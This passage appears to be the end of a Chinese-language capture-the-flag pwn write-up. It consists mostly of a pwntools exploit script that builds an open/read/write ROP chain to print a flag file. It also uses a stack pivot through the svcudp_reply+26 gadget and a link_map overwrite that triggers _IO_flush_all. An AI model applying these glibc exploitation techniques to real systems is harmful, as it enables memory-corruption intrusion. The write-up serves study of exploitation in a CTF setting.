leave_ret = libc.address + 0x00000000000562ec
read_addr = libc.sym['read']
write_addr = libc.sym['write']
syscall_ret = libc.address + 0x91396

rop = flat(
[b'./flag\x00\x00', pop_r12_r13_r14_ret],
[0xdeadbeef, heap_addr - 8],
[leave_ret, pop_rdx_r12_ret],
[0xdeadbeef,0xdeadbeef],
[pop_rdi_ret, heap_addr], # './flag'
[pop_rsi_ret, 0],
[pop_rdx_r12_ret, 0],
[0xdeadbeef, pop_rax_ret],
[2, syscall_ret], # open('/flag',0,0)
[pop_rdi_ret, 3],
[pop_rsi_ret, heap_addr], # './flag'
[pop_rdx_r12_ret, 0x40],
[0xdeadbeef, read_addr], # read(3,&buf,0x40)
[pop_rdi_ret, 1],
[pop_rsi_ret, heap_addr], # './flag'
[pop_rdx_r12_ret, 0x40],
[0xdeadbeef, write_addr], # write(1,&buf,0x40)
svcudp_reply26
)

write(0,rop)
write(link_map_offset+0x40+5*0x8, b'\xb8', False) # trigger _IO_flush_all

p.interactive()

小结:

  • 复习了一下 _dl_runtime_resolve 的知识
  • 也认识了一个可以控制栈的 gadget(svcudp_reply+26)
1
2
3
4
5
6
7
8
0x7f78243fb1fa <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]  
0x7f78243fb1fe <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7f78243fb202 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7f78243fb206 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7f78243fb20d <svcudp_reply+45>: mov rdi,r13
0x7f78243fb210 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
/* [rdi+0x48]中被放入ROP_addr */
/* [rax+0x28]中被放入'leave ret' */

由于 _IO_switch_to_wget_mode 可以控制 [RDX],我们可以考虑用 setcontext+61 来控制栈,我这里就不演示了